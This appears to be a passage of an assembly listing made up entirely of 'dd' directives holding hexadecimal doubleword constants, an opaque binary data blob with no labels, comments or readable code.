dd 1D5A9E52h, 2BF72Fh, 0D5539434h, 9A00E76Dh, 0E91BF1C4h
dd 0FE54B9h, 2376C026h, 1E0643A5h, 6EA34Ch, 0FD59EFADh
dd 75BA2EF7h, 0A0C7388Fh, 0AF236B8Ah, 459900B3h, 79F9F71Ch
dd 59340400h, 33A25BD5h, 71492639h, 0C46B00C4h, 0F7E0F43Bh
dd 54A9211Fh, 58288058h, 0FD090094h, 45E897Fh, 0BA305F79h
dd 0A1D47903h, 0E9A94C50h, 401ABD1Eh, 0CC563B7Ah, 0E3702FEEh
dd 7D878E03h, 0E028F7CAh, 8075C6h, 4CCCD267h, 0D3F4A141h
dd 144E0500h, 799A5F2Fh, 22CE001Bh, 200BA89Fh, 2008527h
dd 0C296647Bh, 36977Dh, 0ADA9F823h, 9883692Dh, 79398832h
dd 604BF4Dh, 1055E93Fh, 1B4AA400h, 0D45EDD77h, 5BD000AEh
dd 0DAA3A1B5h, 0C301D9D5h, 0C03EA283h, 0B9F17F56h, 7CD05EF0h
dd 0EA7005C2h, 175ACFAh, 82BD232Ch, 5008E3C3h, 83D146CCh
dd 89DA6B3Dh, 0E079290Ah, 0E780889Fh, 3E4822D9h, 65BB0058h
dd 26B1CEC3h, 773F3125h, 615AB336h, 600CC5A5h, 186AD16Fh
dd 19BA7616h, 0E10047B0h, 443C67A9h, 52271C58h, 0A410704Ch
dd 0CC610EF7h, 5BCADE38h, 0E23CF47Dh, 15576E8h, 0F04999A3h
dd 0CC01591Bh, 0D96B2F75h, 0BD003C2Ch, 4CAE80FBh, 3CE8AD00h
dd 552F024Fh, 2EAB3020h, 761F88A9h, 23412860h, 37D9E4F7h
dd 0E1A83BF8h, 83551EB1h, 0D1A1E138h, 0B018143Ah, 2D30B03Bh
dd 1F8DDA39h, 0A0030772h, 6EF759BFh, 3A85A3BAh, 0FE6C81h
dd 0AAF134Bh, 0F038CB22h, 41367430h, 3F46F9E3h, 0A780BE14h
dd 7BEFD27Eh, 0B9181FE2h, 0FB8044F6h, 0A307ACDh, 3E8AA1E0h
dd 1B1000CCh, 3A12DA1Eh, 9A0210C2h, 3BB8825Bh, 895090A8h
dd 210B721Fh, 0DE91BA80h, 8581681Fh, 404B3F16h, 2704C28Ch
dd 0ED0034DCh, 88187658h, 43986Bh, 4B6AE892h, 0B1613F9Eh
dd 0A056CE36h, 0BD3B0639h, 905FBACAh, 379828A0h, 30A90240h
dd 0C019477Eh, 80834AEEh, 60041B4Eh, 12B6415Bh, 0DD0388EDh
dd 0D52F8EC0h, 0F3083018h, 0ED0A9921h, 4EB7641Dh, 0B1EAA202h
dd 0F3884096h, 0EC26077Ah, 80C4332Dh, 8A033DD4h, 0B195C80Eh
dd 0FAF7A01Bh, 0DB4BEFh, 3212FD44h, 0B5FF9FB8h, 0A81A800h
dd 4119211Eh, 1DC478F6h, 0BA998E26h, 617CE000h, 0B2A8D3CBh
dd 9F353300h, 57090AE6h, 0B6F8002Ah, 8A744ADCh, 5100C732h
dd 0A382C8F9h, 155E39Ch, 0C530EFE2h, 0F8C98EE0h, 3B070620h
dd 0B9A57202h, 3A63E880h, 19EE0E7Ch, 0DE40C033h, 0B22E05Eh
dd 995DA501h, 2004C7C3h, 32C9DE0h, 0E736297Ah, 0CEBF7B98h
dd 87455500h, 0F93864D0h, 8A8CBB1h, 491D5800h, 46752359h
dd 4525B900h, 5A151CB5h, 0E08461DCh, 9C270BC4h, 6E808298h
dd 0CF97605h, 1033078Ch, 404D6C7Ah, 0A871644Ah, 0CEDD3801h
dd 5278A6ACh, 0FD9098Ch, 80009120h, 96A7083Dh, 0EE320A6Ah
dd 567700B0h, 4C2CA569h, 40CEF8Dh, 6112E807h, 26D432Dh
dd 0CED038A3h, 10E731A4h, 1389B94h, 0C7053A37h, 0C0D6CB53h
dd 7A5C8DBAh, 0F76900D8h, 0FD1EAB6h, 0A1640680h, 10637D18h
dd 9000DBF6h, 0EEB7EFA5h, 0C6B8C7EBh, 20645008h, 11B48A07h
dd 6310084Fh, 0C4973624h, 1A817F58h, 0A22C0480h, 0A690DC60h
dd 18BFEF23h, 0C98721F3h, 307E8E0Fh, 3B490371h, 48506489h
dd 90CE60A0h, 43EF71B0h, 795533EDh, 5DC000B9h, 9A97DC50h
dd 560352C7h, 1286606Dh, 6763D840h, 0B4505065h, 0C74A0C96h
dd 0EFB9EC2Fh, 310037E4h, 4E97FE75h, 0E898C66Dh, 0AE21C1EAh
dd 0DA893829h, 0B67B7260h, 492B7D30h, 6FCD676Fh, 0AA010EEh
dd 6DC53E60h, 47016A78h, 9466D60Fh, 0C9CC9A2Eh, 1B6B0038h
dd 69DF64C3h, 0B800F616h, 2CB106ABh, 5A14B3Bh, 0EC8961C9h
dd 825DC0EBh, 0CC3A790Fh, 94918071h, 0D5DBB6F1h, 48CF00EAh
dd 0A6611B2Dh, 760020B4h, 88C0678Dh, 2486F6B5h, 133EF39Ah
dd 7800BB82h, 68BE5420h, 95A000CEh, 0E8753316h, 0CC00191Fh
dd 0D80517DAh, 77F4715h, 0A10DF5C9h, 0B870D004h, 93778E79h
dd 842F7807h, 418C21A9h, 0A3A00043h, 323068CDh, 967F7E61h
dd 93504D02h, 0E3346D41h, 0DFC406DFh, 1897DD68h, 0A9B42200h
dd 61381551h, 138A0025h, 0F6780347h, 47FA80Dh, 0AFB7DC00h
dd 2C0C1B57h, 5D9E0073h, 3A933826h, 7003D1CFh, 0A8A68B46h
dd 4A7E90C7h, 8EA13CC9h, 351AF400h, 134C8F7Bh, 0E800B7F6h
dd 91C6F295h, 4982A9h, 0E6D7610Eh, 0BCE5B10Dh, 3FD00400h
dd 24BB1499h, 89740181h, 9E063707h, 9D109517h, 0B72CE004h
dd 9C7CE5h, 75A90E99h, 58B9137Eh, 616081Eh, 0A8C67840h
dd 6B0762Ch, 0FD999F94h, 7D2229A3h, 88A27563h, 60883202h
dd 917240A4h, 818B2284h, 22311E22h, 7542AFADh, 288BB111h
dd 9C22284Ah, 226944ADh, 8C0FC500h, 5F41712Bh, 0DDAD0704h
dd 0BEE57Eh, 0B5847FA4h, 0BCA7AE30h, 4501F3h, 3D19BB32h
dd 0E2E73A7Bh, 0C626170Eh, 39B1E43Ch, 8502C982h, 0ABC380A9h
dd 2C4D91B8h, 52F520h, 0CC234831h, 581BA509h, 56642400h
dd 0D4A8075Dh, 889B00F1h, 9F1AEF82h, 7100709Ch, 7D2B74EDh
dd 0CA99B6h, 84EAA156h, 585293B1h, 80D0300h, 9FF67BC6h
dd 62880B41h, 0DC4071A2h, 0B3E4D0ABh, 0CB981560h, 0FBB0B98h
dd 6BFF2A7h, 0B4516380h, 4B01B083h, 122510E4h, 24DC79F9h
dd 0F7F430h, 16DFD839h, 9A76731Eh, 8DEEC400h, 52FC6AE1h
dd 0D603005Fh, 6EA5ECBAh, 571E4D84h, 1EC044AEh, 70C73619h
dd 3531248Ah, 777E8A28h, 4CC08388h, 6000F2F1h, 601D2638h
dd 1F0A6407h, 40536258h, 0A4F8367Bh, 0C2000D31h, 0BE659E66h
dd 9B3D40h, 0FC4E5B42h, 51F88C8Eh, 0BBFEDB00h, 0F4407462h
dd 887446h, 7829BA8Bh, 691EC7BDh, 8E00B890h, 63767EE2h
dd 4C6D35h, 72C534BEh, 8C2A7AC7h, 0E5B48B00h, 0B26AAE2Fh
dd 9F24009Eh, 0BA6CDFB8h, 3749B3Bh, 0F507F67Ch, 609DAF4Ch
dd 80336F9Fh, 56D6C37h, 0C0E4030Ch, 0BFD26202h, 9EBB68E8h
dd 0B05D9600h, 166503F5h
dd 0B38400A0h, 0F09A36B5h, 1E00FCF3h, 0CC6D9EDEh, 4864BAAEh
dd 9700A8EAh, 0BFDA4AA2h, 0B40EE069h, 0F4CA71h, 6CC450Eh
dd 0A60B0330h, 0B34FC8D1h, 84DAA298h, 26B2800h, 2507C55Eh
dd 3604003Bh, 0C0EE312Eh, 1300E5DCh, 67473373h, 4C828C39h
dd 0A00C6F3h, 5FDFC7B6h, 0E41CFA34h, 0A3D2CB7Ah, 803B204Fh
dd 889A8A4Ch, 7D23E607h, 0ED100A6h, 528033Eh, 10C773CDh
dd 0A0001E19h, 18EF31Ch, 5A58F763h, 0F4D4E2E8h, 349A90FBh
dd 9AAB1B00h, 28A57C9h, 71DE055Fh, 0AAD54A2Dh, 4DB01187h
dd 1D8C92h, 0B953EFCFh, 36BFCD1Ah, 57125209h, 3F0404DBh
dd 40CAE582h, 0FE06516Ch, 0D1E23CDDh, 9A20E8B0h, 28002ACDh
dd 4BB609DAh, 0A2CFA6h, 0F1D27137h, 6BCAFD24h, 4FA8AC00h
dd 4B84B7F5h, 0A65E2DCh, 4332FBE9h, 911F008Ch, 0D08EBFDBh
dd 72C06000h, 1DB4FD15h, 0B5090025h, 65CBA02Dh, 16730EDCh
dd 0ED001C75h, 75FC2B1Ah, 315437h, 82E1CFCAh, 62ACBBCh
dd 0C0B48F00h, 0FEB6081Eh, 0E6760072h, 0BC911A74h, 54003D42h
dd 0D259FA71h, 28AC53F3h, 7E9C0CA3h, 84E80009h, 0E85A4D3h
dd 37E2B5ADh, 59369000h, 73C67FCh, 6D501E86h, 0EA9D8Ch
dd 0C5828E2Ah, 9A0F77B2h, 0E0BEEF8Ah, 0D4CD09D9h, 58A34C0Ah
dd 7480633Ch, 75B1A17Ah, 3800BC24h, 0D56EDF81h, 5C7C9ACDh
dd 0F7A0CE4h, 7557DBC1h, 91DA1200h, 4F009B90h, 0E8AF17F6h
dd 7546FCAh, 97FDDFF7h, 0C490E424h, 98C80293h, 0D8A04A61h
dd 840EF518h, 0D3D2C103h, 0C0A8BD77h, 236EA3Bh, 0B4A57444h
dd 0D040DB52h, 0FF00AB8Bh, 0E470BBFAh, 1C4395A1h, 47900F9Ch
dd 807AAC3Fh, 74C9F0F1h, 0F7499E00h, 511B230Ah, 75F71A4h
dd 374D0967h, 2528F05Eh, 0B972D9D0h, 2C47F00h, 6B82BBE2h
dd 0B2DF03A7h, 5AF23349h, 0F0AE73F1h, 0D61E72E6h, 0AA407081h
dd 75F9C317h, 8A9B00B1h, 69DA8B1Ch, 0CD984A07h, 46FA811Ch
dd 0A6E3F90Eh, 68CF1Eh, 7F049110h, 0A59721E1h, 0F99B6901h
dd 622F613Ch, 0B8432261h, 661EE02Ch, 2C727E57h, 500B63h
dd 0F70E3EF2h, 0AB1E98DEh, 0B88164FBh, 5E946A7Bh, 2FA5FECh
dd 37CCD7ADh, 5DC01E55h, 6E0027A7h, 8CDDF98Fh, 409FAE8h
dd 0A687CA14h, 388B80D8h, 0CD002A41h, 94B87CC3h, 0F77D32h
dd 2B7FC233h, 0D6237569h, 48423603h, 1EA97ED5h, 0C0921EF8h
dd 0A2F809B5h, 680124CDh, 0C6F6BCEDh, 8A710CCEh, 0B3E01981h
dd 0E0428A8Fh, 3B12920Ah, 60011849h, 0FB67A338h, 0ADF0AC21h
dd 0C90EBh, 0A9BAF650h, 563A85A7h, 610C100Eh, 0E15FE00Fh
dd 0C50E43h, 0F5AED0A5h, 0EBA7A8F2h, 4A88B900h, 0F19B38C7h
dd 0DFDB029Dh, 0BE2878B0h, 0F90CA0C0h, 1434A600h, 0D60AD8C1h
dd 0CA0E6003h, 0CFA87B81h, 0CA821D00h, 159D3FC9h, 0C4E63872h
dd 0D28E0076h, 0EACC7B47h, 88000774h, 0BD52E75h, 0D059Eh
dd 0B2DEC0DFh, 0C4814911h, 0F0821B3Bh, 0FFA37000h, 8A48BD23h
dd 2A7116h, 86554BB7h, 3811515Bh, 29EE021Dh, 7F842EC0h
dd 0FA13E153h, 5EAC0064h, 4DD274DDh, 0C90FB50Ch, 0B749BEh
dd 0EDA3D176h, 0ADF71D56h, 435200F6h, 87C57A5Eh, 0F0353Ah
dd 0C78BE253h, 0B5BF9Bh, 0B6DD1F12h, 0CAC4013h, 0CA376F00h
dd 8A77B9C8h, 0A4520090h, 21C4A1ABh, 0B100A83Dh, 4AD3791h
dd 0E9A200Ah, 811659C8h, 0B78F48C7h, 0DC9D0B9h, 230080CCh
dd 0B72F33D7h, 0EBE030Bh, 843986E6h, 10E94AC7h, 75EF7AFh
dd 0E126B5Ch, 80545B17h, 5AF3507Fh, 2F270062h, 0C7998587h
dd 0CD03C559h, 0C10FC28Dh, 44B4B0FCh, 32D603A9h, 0AF199CC3h
dd 344078F0h, 0D9BBAA00h, 67B092E9h, 56F095B3h, 15F7EB00h
dd 1A9D747Fh, 5FEA0319h, 73855AA0h, 4F2DB1B0h, 7A924600h
dd 0A4021132h, 41F91FFBh, 0C291C1F4h, 0C8890ABEh, 0F2B82146h
dd 5D77E900h, 0F4BB234Fh, 0CCA95011h, 17F53BC9h, 63596B00h
dd 8F779E0Ch, 27603F1Ch, 667E49h, 9A9FE38h, 68C60075h
dd 0F8FD21D7h, 2C016937h, 0F53ACCC8h, 46C0A79Eh, 9760096h
dd 8285EC48h, 0F700A05Ah, 926EF0BDh, 0AD4418h, 28576D40h
dd 5B5CC85Eh, 6A47C0FDh, 7604290Bh, 5A9D0013h, 49BA99h
dd 0D9B35225h, 97A2F0CEh, 0A909CD01h, 0B1FB9D38h, 3BC07EFCh
dd 4F800CDDh, 0CCA82F1Eh, 0A300D610h, 3E0ABA9Fh, 7D3223CEh
dd 923F0007h, 0B05A0916h, 8700C433h, 0E0C8CB7h, 0E0111F5h
dd 0FFBDFDA3h, 0ED5BD920h, 1D482043h, 61B500ECh, 959231B7h
dd 69030056h, 491E8A09h, 28383CCAh, 51DB0014h, 3B4099FBh
dd 0EFA10395h, 96D96CD2h, 0B3BE4688h, 0AD2A2300h, 0F390B54Dh
dd 0A16095CCh, 0E1F68BCh, 3F8983EFh, 0E7B0403Dh, 0FA07007Eh
dd 0A236E101h, 0CC01823Ah, 8E714C05h, 0D87442B1h, 0D1190F8Ah
dd 4B0145B8h, 0E42CD365h, 0F9386CEBh, 18EE00EDh, 170FBB46h
dd 90AF0F55h, 1A0E7E2Ah, 8D08B880h, 8FE0CC98h, 5693960Fh
dd 1771A019h, 7BC566h, 7F1650C0h, 805E51EDh, 0DA01289Ah
dd 172EC2A3h, 40EE78B5h, 0E5C750h, 0D3CCF76Eh, 1D4D31FCh
dd 0B336CD07h, 0A9003EDFh, 52D1092h, 3ACE8BB6h, 0E8B8C09Fh
dd 0F9002227h, 21CB4466h, 0C98AE57h, 92AA6589h, 0AF03C011h
dd 32E7260Dh, 0FAB8F833h, 881264Bh, 305300A4h, 0D75C1329h
dd 65D0F100h, 0A12E0273h, 0B3910062h, 0BAECA6BEh, 0D3CB584h
dd 0CE568E3Ah, 2639602Dh, 52C080h, 62DDC633h, 0F7010C75h
dd 0AE200300h, 0D3396E7Eh, 987300DCh, 5E34BA1Ah, 0B606A865h
dd 9956D77Bh, 4F030311h, 0E0EFF98Dh, 97FBCE80h, 0ED507C01h
dd 0A476179Ch, 79C13429h, 0F00EF19Eh, 0F000DABEh, 6E0CB7A8h
dd 19FF35h, 7B182A3Ch, 0DD1003E2h, 6A30E03h, 0F87AEEE3h
dd 0E5881736h, 39829D00h, 4AC8909h, 948C20BBh, 36525E8h
dd 325F8688h, 51F8CE8Eh, 0ED0005C9h, 0CD5BB457h, 24C4E3ADh
dd 0DCD5F7h, 6CCFC8F9h, 0DA07D9E4h, 9F66F6E7h, 5CD260C0h
dd 6E0F0148h, 95D4C79Bh, 0D8542084h, 0B0397F6h, 83389E8Ah
dd 21AB80D7h, 6A5100CEh, 95CD8114h, 0AE5CFBC1h, 0AC5E0035h
dd 70BC0646h, 8C70367h, 0E13A642Eh, 710D3FC0h, 0B1004177h
dd 6DE831CFh, 0B80C78h, 1AAEC66h, 5C5B4C6Ch, 5259931Eh
dd 10B11A04h, 28A304E0h, 4BCA1B76h, 2013C6h, 8539DF67h
dd 0ED009FB0h, 0E4CD88DAh, 348FA5h, 0C69FE5Fh, 0F9028607h
dd 0F252209h, 8E00058h, 707CEAh, 0D77313F0h, 8C39C32Ah
dd 0D8A2AF00h, 649297EBh, 0FAF0B032h, 0FB9A0E74h, 0A1A047EDh
dd 0A8433866h, 7C2D5D1Dh, 65A792C0h, 484CC4Ch, 1D54602Fh
dd 698E26Fh, 59D1A73Bh, 0A2DF0028h, 0A3E1624Bh, 7007B53h
dd 5CD384B6h, 94AC6h, 4E04A10Ch, 8AAC45B2h, 94E65900h
dd 0EA2851A7h, 0CE070070h, 0F2E2A3FEh, 77ECB113h, 0ABBACC00h
dd 0C750E15Eh, 6A9F03D0h, 7435E3C0h, 77C1BCA8h, 0B1013600h
dd 60790383h, 24DF00EDh, 380BBB0Ah, 0A5002A15h, 3747DC14h
dd 48DE576Ah, 8B003C9Bh, 98CDCCF8h, 0FA008619h, 0AC2225B0h
dd 4D50F5h, 6B9521BFh, 0B7A63A7Ch, 0FE05F700h, 0D5AE3BC5h
dd 500E3AB8h, 198D6280h, 9736F492h, 3047A12Eh, 6CD30F00h
dd 6BF98A40h, 0A0007CC7h, 0C313DEB1h, 10E31530h, 0FA7DCB67h
dd 806A01C6h, 42F02494h, 1EFAC05Ah, 0C9CE9C00h, 0F7CB4128h
dd 0A8C40072h, 34F1A9D5h, 0E20070F2h, 49B06999h, 28B8EF75h
dd 3B879C6h, 1DA0A42Ch
dd 10007C4Dh, 0F1A2BA26h, 5E3394h, 0E9B972C5h, 6066058Bh
dd 982AC900h, 2B56B56Eh, 0C1990073h, 5EEFC7E4h, 0F200383Bh
dd 0AE1FFA83h, 713674Eh, 722375E2h, 0A48C4176h, 303C88h
dd 7ED0F308h, 0F6269FE9h, 1C324D55h, 8EAC8F13h, 335D0050h
dd 7916C044h, 0FB73003Dh, 0D0EA820Eh, 27099F32h, 81A2DEB7h
dd 9205091Ch, 497A8D4h, 0A0AE1730h, 575C0780h, 0D20E7791h
dd 270573C8h, 0E890FC6Dh, 3C003897h, 0B4C93F2h, 27BF5AA6h
dd 3C80B4EAh, 0AEA4085Bh, 7E018490h, 2568E947h, 0AB708088h
dd 14A00510h, 0EF1B2D9h, 7F870E9Ch, 0BEB443F7h, 0CDD03CA3h
dd 0E700B8D8h, 7DD6FF8Dh, 0E3BA7h, 762C2F0Ch, 7B994415h
dd 0F152DF00h, 0E5F818F2h, 0FCCF0E75h, 8DC0BD12h, 1AF70529h
dd 0BAD33Fh, 0D264C9EFh, 267A8F15h, 90197Ch, 0D9B40A1h
dd 0C00BF1AFh, 212D83DBh, 2B813EE0h, 92078C2h, 12153528h
dd 993C24C0h, 0B9FABD00h, 0A2836272h, 1DB17145h, 6C8FAC95h
dd 13B00D0h, 8AA16F3Ch, 7651160Fh, 0A46E5E18h, 0C6C40125h
dd 8C61DB82h, 0B94E4C8h, 0BDA06EFEh, 0BA848440h, 0B1AF000h
dd 0B8547BF8h, 36017B3h, 1FCEFCBFh, 7F9FA070h, 34455200h
dd 3B142EEFh, 220031B3h, 0B99A403Eh, 4304E1F6h, 356D883Dh
dd 3F161C97h, 0B6610294h, 330EEBB9h, 724D480h, 0A3003EB2h
dd 63374CE1h, 607F7085h, 0C1FD345Fh, 4A070B98h, 0F5873649h
dd 4DE8F1D0h, 7284F8Fh, 93190938h, 3893BEA2h, 0D76CC2C0h
dd 28DFF80Eh, 0AE6607B6h, 0A3A3A1E7h, 29C0A8D4h, 504F008Ch
dd 2F65A975h, 5C002047h, 35EB1ECh, 42EE41h, 0F796062Ch
dd 9E26F986h, 89688704h, 50D18FE3h, 9010F41Ch, 500FF78h
dd 5988624Fh, 0B60861h, 9FAF323Fh, 0C8C4DE40h, 97E71D1Dh
dd 0D2634900h, 4FAD52F6h, 0D9CC0073h, 0A6B882E8h, 7BECC971h
dd 0B65E500h, 8C092621h, 366C0738h, 103DDF56h, 0DB1DBA8Fh
dd 0B590DE00h, 3A6AC1E2h, 3E0F00ABh, 0A49DB989h, 890BAD7h
dd 4B471379h, 670D5905h, 8B40A0E7h, 0E10F6504h, 0A0B23F1Ah
dd 0AC6E0B00h, 455C17C5h, 0CB435A01h, 60547402h, 7873E942h
dd 49F70028h, 0DBA31AF2h, 5001149Dh, 3651C4B9h, 4601D6Eh
dd 661F00EDh, 0AC52213Fh, 7000755Eh, 72C3C92Bh, 1E8B619Bh
dd 0C7DFFE84h, 0C0E2E736h, 0BDF55278h, 73C44802h, 40992167h
dd 55B528h, 0B942638Ah, 0C87E6C5Bh, 0AB49CB00h, 0A016F16h
dd 11A1000Eh, 43DC8AD2h, 0DB1C7A2Fh, 9A4077AEh, 58731C53h
dd 0ED9700F4h, 86A3CABAh, 0CB98BD41h, 0BC083F00h, 67B4ADDEh
dd 0FC543A3Ch, 78E4340Bh, 86F0BCC3h, 0EB02D4C0h, 22467F14h
dd 0A5C4013h, 0FC630055h, 882881B6h, 0E3034773h, 9AE94B4Fh
dd 4CA5C80Ch, 5E4400D9h, 1E175B12h, 0E20011D2h, 8D7785D7h
dd 986D1A0Ch, 0C0261880h, 4199DA54h, 9CE948h, 1886F181h
dd 7DCA04F4h, 90DBF053h, 0D1F32E1Ch, 0F7DD1CEAh, 80F8A711h
dd 7E75A804h, 0E520696Eh, 0CCD0AA2Dh, 1D7C8BF9h, 0F6D81E49h
dd 0BE7450D9h, 320A0184h, 49459FA5h, 4134FDF4h, 7FDA1544h
dd 186943C1h, 2600447Dh, 199F93DDh, 10000B46h, 0EA492982h
dd 55C276h, 0A8CF7084h, 7E164A26h, 6919D100h, 0C56CECC6h
dd 0AED900D2h, 2D8A8054h, 8605CC1Dh, 36C4D3F7h, 11F29780h
dd 0D0843978h, 0B0DF140Fh, 0BDC776E0h, 90025C2h, 0F087C5E1h
dd 7BDD9017h, 8C8401ADh, 5A20B9D9h, 590DE058h, 55CC0E0Ah
dd 7700F06Fh, 0F31681E4h, 0A7F4038Ch, 0AC507EABh, 0EC7674C8h
dd 0E10798F2h, 5698EBBh, 0E3772870h, 0B0D800CBh, 9B31D7BEh
dd 5DE4B45Bh, 2700F774h, 0CB2A38Ah, 0E8885Fh, 0BE95BA18h
dd 0B3FDB840h, 74452800h, 0C28ADACFh, 41A126AEh, 0F9EE8F88h
dd 35CC2440h, 83019E7Fh, 41EA032Ch, 39D451CEh, 0D5FC0002h
dd 736DD314h, 0C504B280h, 0A24D5FC3h, 9A0EC0C0h, 0D4E27Dh
dd 3EC10479h, 641307ADh, 0F02FB6A1h, 33006508h, 0CBB7778Dh
dd 7FCCEFFh, 80B48C54h, 7F739069h, 7800446Ch, 9E126DBFh
dd 0CC2DE5h, 0D8813B4Ah, 0F61143F3h, 806E6B00h, 0C5CBEC44h
dd 2DA100B7h, 2A5650B8h, 0F00060B5h, 0E3295CF3h, 0ED4B69h
dd 0F624164Ch, 900E65F4h, 9EFF7100h, 5B2ED244h, 4420F4Dh
dd 47AEBECBh, 0D0B739C7h, 49823652h, 818D5F3Ch, 0E74B4C0Dh
dd 60D21607h, 8BB1BEh, 427CC4C8h, 9267B974h, 56C79D00h
dd 0B855DC58h, 90109561h, 7F0184AAh, 7B20C3ACh, 702A24C0h
dd 0B7841EA4h, 0E40C18C0h, 0EED70Dh, 1FAD4C85h, 761AC7Dh
dd 1D675000h, 1BDE10DAh, 57EE3108h, 10AC6829h, 804FF8D3h
dd 0A088114Eh, 804893Ch, 2FB440Eh, 44531244h, 2284C03Eh
dd 3650FA96h, 0F0208028h, 97DC22D6h, 8A3C6C50h, 2F62284h
dd 0FB14B850h, 843EF544h, 88046F3Ah, 47D485EDh, 846640Dh
dd 6CC42B2h, 1A835021h, 47B25203h, 21046602h, 1D6CDA3h
dd 550182ECh, 9588D07Ch, 0BBD9BC05h, 0D581E711h, 90FB3C5Bh
dd 0B1539Eh, 5F0FF185h, 223D2987h, 6676CA00h, 0A1F7FCE0h
dd 62EEA4h, 0BBC42CD9h, 0CB4454D6h, 1102A3ECh, 585191EBh
dd 0F42B408Ah, 818F018Bh, 523CC170h, 2436F08Eh, 0C4861A02h
dd 603997CDh, 1E1919h, 0C34D99FDh, 0BC343A37h, 3E03857Eh
dd 0A3A936B1h, 0BF1000AFh, 571FE623h, 11120FFDh, 1C44592Ah
dd 0E7A87E99h, 0E346B003h, 4DE87304h, 42008DA9h, 0A8C19AA3h
dd 0F59445h, 0CB489C74h, 0EA96439Eh, 19B00702h, 61B2DC28h
dd 63E4F6D3h, 90C60034h, 0F3827A2Ch, 390180D6h, 0AC107B1Ah
dd 11D07FAFh, 3854A79h, 0FE33D490h, 8DC868A0h, 0C2C78C1Fh
dd 0F6F86D80h, 0A4C50Bh, 0D51CD41Bh, 0E72DFB69h, 0D1959100h
dd 8D42AD76h, 0E2B9074Fh, 0FF0B8CEAh, 1EF21D80h, 0CA181677h
dd 0D529CEF3h, 99680067h, 0B731A37Ch, 800EF261h, 0E09D63D4h
dd 0B9D3F5E2h, 0CD3900ABh, 88267803h, 6C00431Dh, 9EA52F40h
dd 394730FEh, 0F45763h, 190B838Bh, 69FAC651h, 7141FF00h
dd 398F0A5h, 0DC1016D0h, 328E00D7h, 0A3F2E8CAh, 1395E400h
dd 58B6E259h, 46B0049h, 0B7463D84h, 0C2004547h, 0F228928Ah
dd 490B4C9h, 0DC766BBFh, 10B0C07Ah, 47005A3Dh, 89156755h
dd 0EE4A6DEh, 98FC1EC8h, 0F4285E40h, 5000B148h, 0FBE947A0h
dd 338961h, 0BABE1F27h, 2235DC6Ah, 83F49E07h, 0A99D78h
dd 0D23A8440h, 71650F2Ah, 376F1D8Fh, 0B7F6400h, 0FA01FC6Bh
dd 39275D18h, 84DDF2BBh, 2C36BAD4h, 1CF683h, 0E6A8CBDh
dd 0E5019D14h, 0FF949074h, 88701308h, 0D41800FEh, 280A2A12h
dd 0D179F664h, 209F1104h, 64D02133h, 1F8EEA0h, 95E3E719h
dd 0C4A9BB72h, 0E4FA6F7Fh, 0AA7E6300h, 6D5288EEh, 60670084h
dd 0C24F025Ah, 1D0195D0h, 90870C3h, 8ACC8E5Eh, 829F0064h
dd 2F71B5D7h, 5900EEE5h, 982C326Dh, 7020BAEFh, 0A5200BCh
dd 8DDE5534h, 21B85BD0h, 0D7486600h, 27F7BBE0h, 0DC610F64h
dd 0E834EFA2h, 0A105FA00h, 1EED134Eh, 6FBF2002h, 48BDF643h
dd 0FDA6DCh, 0B805DC95h, 2961F9F3h, 0BA306DFCh, 0D133E816h
dd 7E2B0226h, 827767D0h, 0BFAEA080h, 6E03E79Ch, 4012363Eh
dd 15E6F85Ch, 0E37876h, 5323B4D5h, 0BD5DF398h, 8C025F00h
dd 455BECD8h, 64CA0092h, 68AA0D93h, 0E9038308h, 0AE8CD349h
dd 0AF448012h, 0E68B0331h, 3684590Fh, 0D034A4A9h, 57006538h
dd 8A54E781h, 2E98D415h
dd 138951FDh, 0CA6301D5h, 305CF24Eh, 0C300543Fh, 0E2193DDBh
dd 7A6BBDh, 0B0768793h, 86D84E99h, 7CA8AC00h, 0EFE8AF2Fh
dd 83F93F77h, 0A433F384h, 4C48567h, 80EEAEA8h, 48C8BCB8h
dd 900005F8h, 6F9E9E3h, 7758F18Fh, 13D7004Dh, 994C4770h
dd 0EC00665Eh, 73FA7EFEh, 3D743CCCh, 0D0005B11h, 33B33601h
dd 0D5008BC2h, 2B06BAC7h, 6C595Dh, 0DFB93916h, 2CF90175h
dd 923B2F74h, 0EE33008Eh, 0DDBAA2D2h, 5E3E0C42h, 0E99CF357h
dd 0B72E53E2h, 6312B137h, 2E1E5700h, 0A5DBD7h, 4371F62Fh
dd 0E749D8A1h, 123F0903h, 0F044DFCBh, 1936B9Bh, 0CD940B95h
dd 0D7E62C52h, 80383FB1h, 7E024529h, 3EF1A8E4h, 279CAFB6h
dd 71444086h, 7746B754h, 89BCC300h, 6B5A04D3h, 903E1D82h
dd 5E1F43AEh, 0E800A7F3h, 99F12891h, 2ABD43h, 64FE0390h
dd 0A7616ED4h, 0A52C0D00h, 3E09F2C4h, 7A9900E8h, 43571E7Ch
dd 180065BEh, 0D9A7FE04h, 0E3062ACh, 0C493C3BFh, 69AC0AD3h
dd 56803FB7h, 0BC2ACDC9h, 9C00D5E1h, 25C1523Dh, 7590C432h
dd 712DEC5Dh, 6A693F63h, 40B18C00h, 0B3FB9633h, 0FC57161Ch
dd 63E05880h, 9864AA7Dh, 4A31008Dh, 52B4DF07h, 1F00AB97h
dd 0EFB830A5h, 0CC5B3D9h, 282AFB85h, 0D55C3C11h, 80550921h
dd 9BF70053h, 112FB1h, 0F815955Ah, 0E4254EA7h, 693A26E8h
dd 0E6180B9h, 6D229EBCh, 1E6F044Bh, 803D6CF2h, 0C3DFDE32h
dd 1FC0B339h, 48402217h, 8C752D47h, 2975B2h, 0DA95E872h
dd 9601CA13h, 85196260h, 3B71F1CFh, 0F786F424h, 78354403h
dd 0D701890Eh, 6FCB4194h, 0B340C9EEh, 0E0B2538h, 782B577h
dd 3BB2C5C0h, 8EC0C26Bh, 0FDF0CC4Fh, 14AD006Dh, 58E4BF97h
dd 0A8794B88h, 9D001C73h, 0DD19F5CDh, 1BBA07h, 14851216h
dd 23650EEAh, 315F38C0h, 0F0277675h, 11FA0063h, 2B1E7B35h
dd 3700B44Eh, 78A7BFB3h, 7DF83E6h, 5A6C607Ch, 1D7AC0D8h
dd 20000597h, 2EB78C9h, 0E166B85h, 0F9F3109h, 0AC417B00h
dd 0AE01ABE4h, 298C1CC7h, 0AAE07C13h, 279F0050h, 0A461F720h
dd 0BB030D0Fh, 0C612CE04h, 0C02BEADCh, 0F4D54Ch, 23628177h
dd 40A54C37h, 779C203h, 0D8367CFFh, 38F942FBh, 4B38C887h
dd 0FE49D58Eh, 0BEFFC3E1h, 0CCBFF409h, 84E32E00h, 3CFA738Dh
dd 0E0209050h, 0D350024h, 89C47D4Dh, 34002527h, 8F1EEA7Eh
